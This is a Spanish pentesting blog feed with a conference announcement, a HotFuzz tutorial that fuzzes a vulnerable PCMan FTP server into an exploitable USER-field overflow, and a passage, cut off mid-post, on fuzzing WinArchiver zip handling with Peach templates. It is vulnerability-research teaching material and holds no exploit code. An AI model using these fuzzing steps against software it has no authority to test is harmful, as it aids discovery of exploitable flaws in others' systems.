tag:blogger.com,1999:blog-6945218030210833402024-03-13T12:42:46.706-07:00REAL PENTESTINGHACKING AND PENTESTING TECHNIQUESREAL PENTESTINGhttp://www.blogger.com/profile/02222861083999610170noreply@blogger.comBlogger19125tag:blogger.com,1999:blog-694521803021083340.post-90282458068487250712014-04-03T08:30:00.000-07:002014-04-03T08:30:38.632-07:00Nos vamos a la Immunity Infiltrate y Hack in paris como ponentes!Hola a todos!<br />
<br />
Teníamos el blog un poco olvidado, demasiado trabajo e investigaciones fuera de trabajo.Pero queríamos anunciar que dos miembros de realpentesting Josep Pi y Pedro Guillén irán a la <b>"Immunity infiltrate"</b> en Miami beach y a la <b>"hack in paris" </b>a dar su charla sobre "Fuzzing, Reversing and Maths"<br />
<br />
En esta charla hablarán sobre los <b>0days</b> que han encontrado en aplicaciones de backup, algunas de fabricantes bastante importantes y que tienen cierta complejidad donde se han realizado tareas de ingeniería inversa de binarios, ingeniería inversa de protocolos y uso de matemáticas para su entendimiento y explotación.En estas charlas irán Josep y Pedro pero quieren agradecer y llevar en sus slides a todo el equipo de realpentesting y sus nuevos integrantes matemáticos-frikis que han sido de gran ayuda.<br />
<br />
Más adelante compartiremos en la medida de lo posible todos nuestros hallazgos y más cosillas en el blog.<br />
<br />
Quien se apunte a ir a la Infiltrate y/o hack in paris, nos vemos alli!! Aquí os dejamos info:<br />
<br />
<a href="https://immunityinc.com/infiltrate/speakers.html">https://immunityinc.com/infiltrate/speakers.html</a><br />
<br />
<a href="http://www.hackinparis.com/node/272">http://www.hackinparis.com/node/272</a><br />
<br />
<br />REAL PENTESTINGhttp://www.blogger.com/profile/02222861083999610170noreply@blogger.com0tag:blogger.com,1999:blog-694521803021083340.post-13680484190427277792013-09-15T14:28:00.000-07:002013-09-16T07:33:41.080-07:00HOTFUZZ: EASY FUZZING<span style="font-family: Arial,Helvetica,sans-serif;">En este artículo realizaremos tareas de fuzzing utilizando la herramienta Hotfuzz.</span><br />
<br />
<span style="font-family: Arial,Helvetica,sans-serif;">Hotfuzz es una herramienta que utiliza peach y disectores de Wireshark para crear un man-in-the-middle (proxy) based fuzzer el cual dispone de la opcion de crear los peach Pit. HotFuzz es una implementación de un grupo de estudiantes de Praga.</span><br />
<span style="font-family: Arial,Helvetica,sans-serif;"><br />Dicho de otra forma, con hotfuzz dispondremos de una herramienta con interfaz gráfica, capaz de “entender” el protocolo que se le indica (soporta muchos de los que soporta wireshark) y generar el archivo xml con todos los datos necesarios para realizar las tareas de fuzzing con peach, todo esto de forma casi automática. También nos dará toda la información necesaria en caso de producirse un crash. Es una herramien fácil y flexible, ideal para tareas de Fuzzing sobre protocolos conocidos como FTP,HTTP,etc. </span><br />
<span style="font-family: Arial,Helvetica,sans-serif;"><br /><b>Podéis descargarlo aquí:</b> http://hotfuzz.sourceforge.net/ </span><br />
<span style="font-family: Arial,Helvetica,sans-serif;">(Debéis tener instalado Python para ejecutarlo)<br /><br />Para realizar nuestro ejemplo utilizaremos un servidor FTP vulnerable:<br />PCMan´s FTP Server 2.0.7 Buffer Overflow Exploit</span><br />
<span style="font-family: Arial,Helvetica,sans-serif;">http://www.exploit-db.com/exploits/26471/</span><br />
<span style="font-family: Arial,Helvetica,sans-serif;"><br /></span>
<br />
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Arial,Helvetica,sans-serif;"><a href="http://1.bp.blogspot.com/-epQiUwWaDbQ/UjNaUX4pB2I/AAAAAAAAAho/N7l0mpwJbDM/s1600/Imagen+001.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="440" src="http://1.bp.blogspot.com/-epQiUwWaDbQ/UjNaUX4pB2I/AAAAAAAAAho/N7l0mpwJbDM/s640/Imagen+001.jpg" width="640" /></a></span></div>
<br />
<br />
<span style="font-family: Arial,Helvetica,sans-serif;">Una vez descargado el servidor FTP, podemos ver los archivos que los componen con el ejecutable que Fuzearemos:</span><br />
<span style="font-family: Arial,Helvetica,sans-serif;"> </span><br />
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Arial,Helvetica,sans-serif;"><a href="http://1.bp.blogspot.com/-dWu6ZS2tFeM/UjNaoWKovNI/AAAAAAAAAh8/wH9myOhyyD8/s1600/Imagen+002.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="120" src="http://1.bp.blogspot.com/-dWu6ZS2tFeM/UjNaoWKovNI/AAAAAAAAAh8/wH9myOhyyD8/s640/Imagen+002.jpg" width="640" /></a></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Arial,Helvetica,sans-serif;"><a href="http://2.bp.blogspot.com/-zq-BqEe0GDk/UjNau3JbDTI/AAAAAAAAAi8/F0JOxh-kGN4/s1600/botones_recording.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><br /></a></span></div>
<span style="font-family: Arial,Helvetica,sans-serif;"> El primer paso será abrir HotFuzz haciendo doble click en el archivo indicado en la captura de pantalla.</span><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Arial,Helvetica,sans-serif;"><a href="http://3.bp.blogspot.com/-BzFrAsVcwos/UjNavXk1UbI/AAAAAAAAAjU/nOAFGndbH4M/s1600/carpeta_hotfuzz.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="220" src="http://3.bp.blogspot.com/-BzFrAsVcwos/UjNavXk1UbI/AAAAAAAAAjU/nOAFGndbH4M/s640/carpeta_hotfuzz.jpg" width="640" /></a></span></div>
<br />
<br />
<span style="font-family: Arial,Helvetica,sans-serif;">Una vez abierto, podemos ver a continuación una captura de la pantalla principal.</span><br />
<span style="font-family: Arial,Helvetica,sans-serif;"><br />Esta primera pestaña “Recording” es la que contiene los campos necesarios para configurar la herramienta, y que de forma automática analice el protocolo que usamos y nos genere el xml para el Peach Pit.</span><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Arial,Helvetica,sans-serif;"><a href="http://2.bp.blogspot.com/-sH4M6FcXdN8/UjNavblvh1I/AAAAAAAAAjQ/C-6nJFWOsIA/s1600/Imagen+011.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="404" src="http://2.bp.blogspot.com/-sH4M6FcXdN8/UjNavblvh1I/AAAAAAAAAjQ/C-6nJFWOsIA/s640/Imagen+011.jpg" width="640" /></a></span></div>
<span style="font-family: Arial,Helvetica,sans-serif;"><br /><br /> Empecemos con nuestro ejemplo:</span><br />
<span style="font-family: Arial,Helvetica,sans-serif;"><br /></span>
<span style="font-family: Arial,Helvetica,sans-serif;"><u><span style="font-size: small;"><b>1. Pestaña “Recording”:</b> </span></u>En primer lugar debemos tener en cuenta en la parte superior la sección dedicada al Cliente y al Servidor:</span><br />
<span style="font-family: Arial,Helvetica,sans-serif;"><br /> <b> a) Cliente:</b> En esta sección indicaremos a hotfuzz la aplicación cliente con la que conectaremos al servidor FTP que fuzearemos en la sección Program, en este caso será Filezilla, pero puede usarse cualquier cliente FTP. También se indican los comandos a utilizar.Finalmente la IP y el puerto sobre el que se creará el proxy que usará el cliente para conectarse al servidor. Este punto es muy importante, ya que recordemos que hotfuzz monta un proxy intermedio para utilizar los disectores de Wireshark. De este modo, las configuraciones quedarían de la siguiente forma: </span><br />
<ul>
<li><span style="font-family: Arial,Helvetica,sans-serif;">Proxy IP: 127.0.0.1</span></li>
<li><span style="font-family: Arial,Helvetica,sans-serif;">Port: 5150 (El puerto debe ser cualquier puerto que no tengamos utilizándose que esté por encima de los primeros 1024)</span></li>
<li><span style="font-family: Arial,Helvetica,sans-serif;">Program: C:/FileZilla FTP Client/filezilla.exe ftp://Anonymous:@localhost:5150</span></li>
</ul>
<span style="font-family: Arial,Helvetica,sans-serif;"><br />Debemos fijarnos que en la parte “Program” estamos usando el cliente FTP Filezilla para conectar con el usuario Anonymous a localhost por el puerto 5150. </span><br />
<br />
<span style="font-family: Arial,Helvetica,sans-serif;"> <b> b) Server:</b> En esta sección es donde indicamos la IP, puerto y programa a Fuzear, en este caso le indicamos la IP local por el puerto del servidor FTP 21 y la ruta al archivo ejecutable del servidor FTP. De este modo, las configuraciones quedarían de la siguiente forma: </span><br />
<ul>
<li><span style="font-family: Arial,Helvetica,sans-serif;"> Target IP: 127.0.0.1</span></li>
<li><span style="font-family: Arial,Helvetica,sans-serif;">Port: 21</span></li>
<li><span style="font-family: Arial,Helvetica,sans-serif;">Program: C: /9fceb6fefd0f3ca1a8c36e97b6cc925d-PCMan/PCManFTPD2.exe</span></li>
</ul>
<span style="font-family: Arial,Helvetica,sans-serif;"><br /></span>
<br />
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Arial,Helvetica,sans-serif;"><a href="http://2.bp.blogspot.com/-LKg_RRvYduM/UjNaoxMaGVI/AAAAAAAAAiE/3DSkrvVwznM/s1600/Imagen+004.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="164" src="http://2.bp.blogspot.com/-LKg_RRvYduM/UjNaoxMaGVI/AAAAAAAAAiE/3DSkrvVwznM/s640/Imagen+004.jpg" width="640" /></a></span></div>
<span style="font-family: Arial,Helvetica,sans-serif;"><br /></span>
<span style="font-family: Arial,Helvetica,sans-serif;"><br /></span>
<span style="font-family: Arial,Helvetica,sans-serif;">Una vez indicados esos parámetros debemos fijarnos en la parte inferior de la aplicación en la que tenemos unas cajas de salida de información de salida del cliente, servidor y del propio Hotfuzz. Podemos ver que tenemos en cada sección una serie de botones para inicios, paradas y limpiado de datos. </span><br />
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Arial,Helvetica,sans-serif;"><a href="http://3.bp.blogspot.com/-_0yNxAs9ITM/UjNaqKjdFLI/AAAAAAAAAiI/k0pnWrTv_BQ/s1600/Imagen+005.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><br /></a><a href="http://4.bp.blogspot.com/--EKnfOmXOpA/UjNaoHNf6QI/AAAAAAAAAh4/WO2sfbHRr2M/s1600/Agents.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="156" src="http://4.bp.blogspot.com/--EKnfOmXOpA/UjNaoHNf6QI/AAAAAAAAAh4/WO2sfbHRr2M/s640/Agents.jpg" width="640" /></a></span></div>
<br />
<span style="font-family: Arial,Helvetica,sans-serif;">Como vemos en la anterior captura se hace referencia a los “Agent IP” y “Port”. Uno para el cliente y otro para el servidor. Se trata del agente de monitorización que se levanta para pach. Los Agent son procesos especiales de Peach que pueden ser usados de forma local o remota. Estos procesos albergan uno o mas monitores que pueden ser usados para realizar acciones tales como atachear debuguers, ver corrupciones de memoria, etc… Puede decirse que levanta los sistemas necesarios para la detección del crash.</span><br />
<span style="font-family: Arial,Helvetica,sans-serif;"><br />No debemos olvidar que en definitiva estamos usando Peach, por lo que para entender totalmente que está haciendo la aplicación debemos saber como funciona peach, los archivos Pit y demás aspectos. En este enlace está toda la información relativa a Peach 2.3: http://peachfuzzer.com/v2/peach23.html<br />Veamos ahora la forma de configurar la sección “Recording”. Como vemos en la siguiente captura debemos indicar:</span><br />
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Arial,Helvetica,sans-serif;"><a href="http://2.bp.blogspot.com/-ZSATt1_LdiY/UjNdTmERgJI/AAAAAAAAAjc/LMQPKc5-ItU/s1600/recording_conf.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="400" src="http://2.bp.blogspot.com/-ZSATt1_LdiY/UjNdTmERgJI/AAAAAAAAAjc/LMQPKc5-ItU/s400/recording_conf.jpg" width="290" /></a></span></div>
<br />
<ul>
<li><span style="font-family: Arial,Helvetica,sans-serif;">Iteration Count: Son el número de pruebas de conexión realizará con el cliente utilizando los parámetros indicados. Estas iteraciones deben ser más altas, en el caso de que podamos esperar diferentes comportamientos del protocolo en sucesivas conexiones.</span></li>
</ul>
<ul>
<li><span style="font-family: Arial,Helvetica,sans-serif;">Protocol Port: Indicamos el puerto del protocolo a analizar, en este caso es el 21 al estar analizando un FTP.</span></li>
</ul>
<ul>
<li><span style="font-family: Arial,Helvetica,sans-serif;">Protocol Familly: Si es TCP oUDP</span></li>
</ul>
<ul>
<li><span style="font-family: Arial,Helvetica,sans-serif;">Restart Client: En el caso de que se requiera que el cliente se cierre y habrá solo en cada petición.</span></li>
</ul>
<ul>
<li><span style="font-family: Arial,Helvetica,sans-serif;">Disable Cliente Debugger: En el caso de que no necesitemos analizar posibles crash en el cliente.</span></li>
</ul>
<ul>
<li><span style="font-family: Arial,Helvetica,sans-serif;">Proxy Tiemout: El tiempo de timeout establecido para conexiones con el servicio.</span></li>
</ul>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Arial,Helvetica,sans-serif;"><a href="http://2.bp.blogspot.com/-zq-BqEe0GDk/UjNau3JbDTI/AAAAAAAAAjE/ck-3jGcEZBY/s1600/botones_recording.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="213" src="http://2.bp.blogspot.com/-zq-BqEe0GDk/UjNau3JbDTI/AAAAAAAAAjE/ck-3jGcEZBY/s400/botones_recording.jpg" width="400" /></a></span></div>
<br />
<span style="font-family: Arial,Helvetica,sans-serif;">En la siguiente captura vemos el proceso de recording en marcha.<br /> </span><br />
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Arial,Helvetica,sans-serif;"><a href="http://1.bp.blogspot.com/-veua0328b8M/UjNaspEjf8I/AAAAAAAAAig/xHHbfrD70Rg/s1600/Imagen+003.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="403" src="http://1.bp.blogspot.com/-veua0328b8M/UjNaspEjf8I/AAAAAAAAAig/xHHbfrD70Rg/s640/Imagen+003.jpg" width="640" /></a></span></div>
<br />
<br />
<span style="font-family: Arial,Helvetica,sans-serif;"><u><b>2.</b><span style="mso-ansi-language: ES; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-fareast-language: ES; mso-no-proof: yes;"><span style="mso-list: Ignore;"><span style="-moz-font-feature-settings: normal; -moz-font-language-override: normal; font-size-adjust: none; font-size: 7pt; font-stretch: normal; font-style: normal; font-variant: normal; font-weight: normal; line-height: normal;"> </span></span></span></u><b style="mso-bidi-font-weight: normal;"><span style="mso-ansi-language: ES;"><u>Pestaña
Fuzzing Settings:</u><span style="mso-spacerun: yes;"><u> </u> </span></span></b><span style="mso-ansi-language: ES;">En esta sección vemos como aparecen todos los
modelos de datos creados a partir de la primera fase. Podremos encontrar todos
los métodos que usa el protocolo. Seleccionaremos los campos a fuzear
marcándolos como true en la columna “Mutate”.</span></span><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Arial,Helvetica,sans-serif;"><a href="http://1.bp.blogspot.com/-_0yNxAs9ITM/UjNaqKjdFLI/AAAAAAAAAiM/yE4pMebcX2g/s1600/Imagen+005.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="363" src="http://1.bp.blogspot.com/-_0yNxAs9ITM/UjNaqKjdFLI/AAAAAAAAAiM/yE4pMebcX2g/s640/Imagen+005.jpg" width="640" /></a></span></div>
<br />
<span style="font-family: Arial,Helvetica,sans-serif;"><span style="mso-ansi-language: ES;">En nuestro caso Fuzearemos el campo USER. Si recordamos, indicamos al cliente FTP que se conectase utilizando el usuario “Anonymous”, así que es lo que marco es ese campo para que mande los “Chorros” de datos en el nombre del usuario cuando trate de conectarse.</span></span><br />
<span style="font-family: Arial,Helvetica,sans-serif;"><span style="mso-ansi-language: ES;"><br />Seguidamente pulsamos sobre el botón “HIDE MUTATOR” para que se desplieguen las opciones de los Mutators. Como vemos en la siguiente captura, selecciono “String”, ya que es el tipo de datos que quiero enviar en las diferentes mutaciones.</span></span><br />
<br />
<span style="font-family: Arial,Helvetica,sans-serif;"><span style="mso-ansi-language: ES;"></span></span><br />
<span style="font-family: Arial,Helvetica,sans-serif;"><span style="mso-ansi-language: ES;"></span></span><br />
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Arial,Helvetica,sans-serif;"><a href="http://3.bp.blogspot.com/-Vcp2-BRgp0Y/UjNatGfZGpI/AAAAAAAAAio/bzOvVsexRDU/s1600/Imagen+006.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="362" src="http://3.bp.blogspot.com/-Vcp2-BRgp0Y/UjNatGfZGpI/AAAAAAAAAio/bzOvVsexRDU/s640/Imagen+006.jpg" width="640" /></a></span></div>
<span style="font-family: Arial,Helvetica,sans-serif;"><span style="mso-ansi-language: ES;"></span></span><br />
<span style="font-family: Arial,Helvetica,sans-serif;"><span style="mso-ansi-language: ES;"></span></span><br />
<span style="font-family: Arial,Helvetica,sans-serif;"><span style="mso-ansi-language: ES;"></span></span><br />
<span style="font-family: Arial,Helvetica,sans-serif;"><span style="mso-ansi-language: ES;"></span></span><br />
<span style="font-family: Arial,Helvetica,sans-serif;"><span style="mso-ansi-language: ES;"><br /></span></span>
<span style="font-family: Arial,Helvetica,sans-serif;"><span style="mso-ansi-language: ES;"><b><u>3. Pestaña Fuzzing:</u> </b>En este punto ya solo nos faltaría pulsar sobre el botón “Start All” de la parte inferior para que el proceso de fuzzing se ponga en marcha.</span></span><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Arial,Helvetica,sans-serif;"><a href="http://1.bp.blogspot.com/-kmeE6ujUkaY/UjNargzRhOI/AAAAAAAAAiU/QVh-2gfJsh0/s1600/Imagen+007.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="364" src="http://1.bp.blogspot.com/-kmeE6ujUkaY/UjNargzRhOI/AAAAAAAAAiU/QVh-2gfJsh0/s640/Imagen+007.jpg" width="640" /></a></span></div>
<br />
<br />
<span style="font-family: Arial,Helvetica,sans-serif;"><span style="mso-ansi-language: ES;"> Cuando la aplicación detecte un crash del servidor que estamos fuzeando, lo indicará en la ventana de datos de log. A continuación puede verse una captura en detalle de la información que ofrece:</span></span><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Arial,Helvetica,sans-serif;"><a href="http://4.bp.blogspot.com/-fqG8kha507k/UjNaubfP7dI/AAAAAAAAAi4/668F9-TBZEk/s1600/Imagen+008.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="400" src="http://4.bp.blogspot.com/-fqG8kha507k/UjNaubfP7dI/AAAAAAAAAi4/668F9-TBZEk/s400/Imagen+008.jpg" width="283" /></a></span></div>
<span style="font-family: Arial,Helvetica,sans-serif;"><span style="mso-ansi-language: ES; mso-fareast-language: ES; mso-no-proof: yes;"></span></span><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Arial,Helvetica,sans-serif;"><a href="http://4.bp.blogspot.com/-fqG8kha507k/UjNaubfP7dI/AAAAAAAAAi4/668F9-TBZEk/s1600/Imagen+008.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><br /></a></span></div>
<span style="font-family: Arial,Helvetica,sans-serif;">Como vemos en la anterior captura, se ha producido un crash en el [39]TestCase, osea en la prueba número 39, y que ha mandado como nombre de usuarios un “Chorro” de AAAAAA… concretamente 3048 como indica en (length was 3048). Finalmente te indica que se trata de un crash EXPLOITABLE. :) <br /> <b><br /><u> 4. Pestaña Dump Viewer:</u></b> En esta pestaña se van guardando los datos de los crashes que van apareciendo. <br /> </span><br />
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Arial,Helvetica,sans-serif;"><a href="http://4.bp.blogspot.com/-qKrBxgQVF-I/UjNatTfcjXI/AAAAAAAAAis/mnxYkF7S8Is/s1600/Imagen+009.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="88" src="http://4.bp.blogspot.com/-qKrBxgQVF-I/UjNatTfcjXI/AAAAAAAAAis/mnxYkF7S8Is/s640/Imagen+009.jpg" width="640" /></a></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Arial,Helvetica,sans-serif;"><a href="http://2.bp.blogspot.com/-kmeE6ujUkaY/UjNargzRhOI/AAAAAAAAAiQ/vkA5lwEl3Pw/s1600/Imagen+007.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><br /></a></span></div>
<br />
<span style="font-family: Arial,Helvetica,sans-serif;">Como vemos en la siguiente captura, seleccionando un crash y pulsando sobre el botón “view comunications”, veremos los detalles del crash. </span><br />
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Arial,Helvetica,sans-serif;"><a href="http://3.bp.blogspot.com/-qKrBxgQVF-I/UjNatTfcjXI/AAAAAAAAAik/xsvq27bwFL0/s1600/Imagen+009.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><br /></a><a href="http://1.bp.blogspot.com/-8KcR9iTxcXI/UjNauQwNnAI/AAAAAAAAAjA/31R7pdHslhI/s1600/Imagen+010.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="404" src="http://1.bp.blogspot.com/-8KcR9iTxcXI/UjNauQwNnAI/AAAAAAAAAjA/31R7pdHslhI/s640/Imagen+010.jpg" width="640" /></a></span></div>
<br />
<span style="font-family: Arial,Helvetica,sans-serif;">Con esta información, sabemos que existe un buffer overflow en el campo USER, y que podemos desbordar utilizando 3048 caracteres. Ya hacer el exploit no tiene ningún misterio.</span><br />
<span style="font-family: Arial,Helvetica,sans-serif;"><br />En definitiva, podemos concluir que hotfuzz es una herramienta muy útil, que agiliza la tarea de fuzzing para protocolos conocidos.<br /> </span><br />
<span style="font-family: Arial,Helvetica,sans-serif;">Saludos!! </span><br />
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Arial,Helvetica,sans-serif;"></span></div>
<span style="font-family: Arial,Helvetica,sans-serif;"><br /></span>REAL PENTESTINGhttp://www.blogger.com/profile/02222861083999610170noreply@blogger.com0tag:blogger.com,1999:blog-694521803021083340.post-83331059386753835462013-04-29T10:16:00.001-07:002013-05-03T00:26:30.574-07:000DAY BUG HUNTING REALPENTESTING<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;">Realpentesting está de bug hunting !</span><br />
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;">Hemos decidido empezar desde Abril a fuzzear y explotar vulnerabilidades en software de todo tipo y hemos decidido ir compartiendo los 0days que hemos ido encontrando, los que podemos publicar por ahora estarán listados en la pestaña "advisories" y también estaránsubidos en exploit-db.</span><br />
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;">En concreto en esta entrada vamos a hablar de una de varias vulnerabilidades críticas que hemos encontrado en Winarchiver.Winarchiver es una aplicación de pago de compresión y descompresión <a class="moz-txt-link-freetext" href="http://www.winarchiver.com/">http://www.winarchiver.com/</a>.</span><br />
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;">Esta versión de software es bastante reciente (16 de Abril de 2013) tal y como podemos ver en su web.</span><br />
<span style="font-family: inherit;">Vamos a ir describiendo el proceso desde el fuzzing hasta el exploit. Para fuzzear esta aplicación hemos usado el fabuloso framework Peach.</span><br />
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;">Para quien quiera aprender a utilizar peach, aquí hay un tutorial muy bueno. <a class="moz-txt-link-freetext" href="http://www.flinkd.org/2011/07/fuzzing-with-peach-part-1/">http://www.flinkd.org/2011/07/fuzzing-with-peach-part-1/</a></span><br />
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;">Lo que hacemos es ir mutando todo tipo de headers y flags del format file de los ficheros zip.</span><br />
<span style="font-family: inherit;">Los templates de Peach se dividen en 5 partes:</span><br />
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;">El <b>DataModel </b>es donde se define la estructura de lo que vamos a fuzzear. En nuestro caso es un zip. Este modelo de datos es exactamente igual que el tutorial que anteriormente hacemos referencia.</span><br />
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;">En el <b>state model</b> indicamos que vamos a fuzzear este modelo de datos utilizando como fichero base el fichero test.zip que deber ser un fichero zip cualquiera correctamente formado.</span><br />
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;"><i><StateModel name="TheState" initialState="Initial"> <!-- En este caso se utiliza de fichero incial sobre el que fuzzear el fichero test.zip --></i></span><br />
<span style="font-family: inherit;"><i> <State name="Initial"></i></span><br />
<span style="font-family: inherit;"><i> <Action type="output"></i></span><br />
<span style="font-family: inherit;"><i> <DataModel ref="ZipFileFormat"/></i></span><br />
<span style="font-family: inherit;"><i> <Data name="data" fileName="C:\peachfuzz\test.zip"/></i></span><br />
<span style="font-family: inherit;"><i> </Action></i></span><br />
<span style="font-family: inherit;"><i> <Action type="close"/></i></span><br />
<span style="font-family: inherit;"><i> <Action type="call" method="ScoobySnacks"/></i></span><br />
<span style="font-family: inherit;"><i> </State></i></span><br />
<span style="font-family: inherit;"><i> </StateModel></i></span><br />
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;">Por otro lado tenemos el <b>agent </b>que en nuestro caso definiremos que será local utilizando un debugger (windbg) e indicando con las siguientes líneas que lo vamos a attachear:</span><br />
<span style="font-family: inherit;"><br /></span>
<br />
<blockquote class="tr_bq">
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;"><i><Agent name="LocalAgent"></i></span><br />
<span style="font-family: inherit;"><i><span class="Apple-tab-span" style="white-space: pre;"> </span><Monitor class="debugger.WindowsDebugEngine"> <!-- En este caso attacheamos el proceso WinArchiver.exe --></i></span><br />
<span style="font-family: inherit;"><i><span class="Apple-tab-span" style="white-space: pre;"> </span><Param name="ProcessName" value="WinArchiver.exe" /></i></span><br />
<span style="font-family: inherit;"><i><span class="Apple-tab-span" style="white-space: pre;"> </span><Param name="StartOnCall" value="ScoobySnacks"/></i></span><br />
<span style="font-family: inherit;"><i><span class="Apple-tab-span" style="white-space: pre;"> </span></Monitor></i></span><br />
<span style="font-family: inherit;"><i> <Monitor class="process.PageHeap"></i></span><br />
<span style="font-family: inherit;"><i> <Param name="Executable" value="WinArchiver.exe"/></i></span><br />
<span style="font-family: inherit;"><i> </Monitor></i></span><br />
<span style="font-family: inherit;"><i> </Agent></i></span></blockquote>
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;">Finalmente tenemos el <b>Test </b>y el <b>run</b>. El primero indica el tipo de pruebas que se va a realizar y el run es la prueba que vamos a ejecutar en el momento de fuzzearlo. En el run también se definen donde se guardarán los logs y trazas de los crashes una vez se encuentren. (en nuestro caso logtest).</span><br />
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;"><i><Test name="TheTest"></i></span><br />
<span style="font-family: inherit;"><i> <Strategy class="rand.RandomMutationStrategy" switchCount="1500" maxFieldsToMutate="7"/></i></span><br />
<span style="font-family: inherit;"><i> <Agent ref="LocalAgent"/> </i></span><br />
<span style="font-family: inherit;"><i> <StateModel ref="TheState"/></i></span><br />
<span style="font-family: inherit;"><i> <Publisher class="file.FileWriterLauncher"> <!-- En este caso se guarda como fuzzed.zip utilizando el publisher de file format --></i></span><br />
<span style="font-family: inherit;"><i> <Param name="fileName" value="fuzzed.zip" /></i></span><br />
<span style="font-family: inherit;"><i> <Param name="debugger" value="true"/></i></span><br />
<span style="font-family: inherit;"><i> </Publisher></i></span><br />
<span style="font-family: inherit;"><i> </Test></i></span><br />
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;"><i><Run name="DefaultRun"> <!-- El run indica que se realizará la prueba "TheTest" almacenando los crash en la carpeta logtest --></i></span><br />
<span style="font-family: inherit;"><i> <Test ref="TheTest"/></i></span><br />
<span style="font-family: inherit;"><i> <Logger class="logger.Filesystem"></i></span><br />
<span style="font-family: inherit;"><i> <Param name="path" value="logtest"/></i></span><br />
<span style="font-family: inherit;"><i> </Logger></i></span><br />
<span style="font-family: inherit;"><i> </Run></i></span><br />
<span style="font-family: inherit;"><i></Peach></i></span><br />
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;">Adjunto puede encontrarse el template completo winarchiver.xml.</span><br />
<span style="font-family: inherit;">LINK</span><br />
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;">Después de ponerlo en funcionamiento nos dimos cuenta de que una vez que se obtenía un crash la “única” manera posible de obtener el fichero de zip responsable del crash era realizando el siguiente comando:</span><br />
<span style="font-family: inherit;"><br /></span>
<br />
<blockquote class="tr_bq">
<span style="font-family: inherit;"> python peach.py -1 --skip {numero de prueba} template.xml.</span></blockquote>
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;">Pero también nos dimos cuenta de que esto no funcionaba del todo bien ya que si utilizábamos una estrategia aleatoria, no conseguíamos generar los zips correspondientes de cada prueba. Por lo que estuvimos mirando el código de peach para terminar modificando 2 funcionalidades:</span><br />
<ul>
<li><span style="font-family: inherit;">Nos gustaba que apareciera el estado del seh chain en las trazas de windbg(!exchain)</span></li>
<li><span style="font-family: inherit;">Además sería muy bueno que tuviéramos el fichero zip que ocasiona el crash dentro del propio directorio de logs , dentro de la carpeta de cada “crash”</span></li>
</ul>
<span style="font-family: inherit;">Tras estos dos objetivos nos pusimos manos a la obra y finalmente modificamos un poquito el fichero <i>debugger.py</i> y el <i>logger.py</i> ambos dentro de la carpeta Peach.</span><br />
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;">Para conseguir que se mostrara el estado del SEH Chain realizamos el siguiente cambio:</span><br />
<blockquote class="tr_bq">
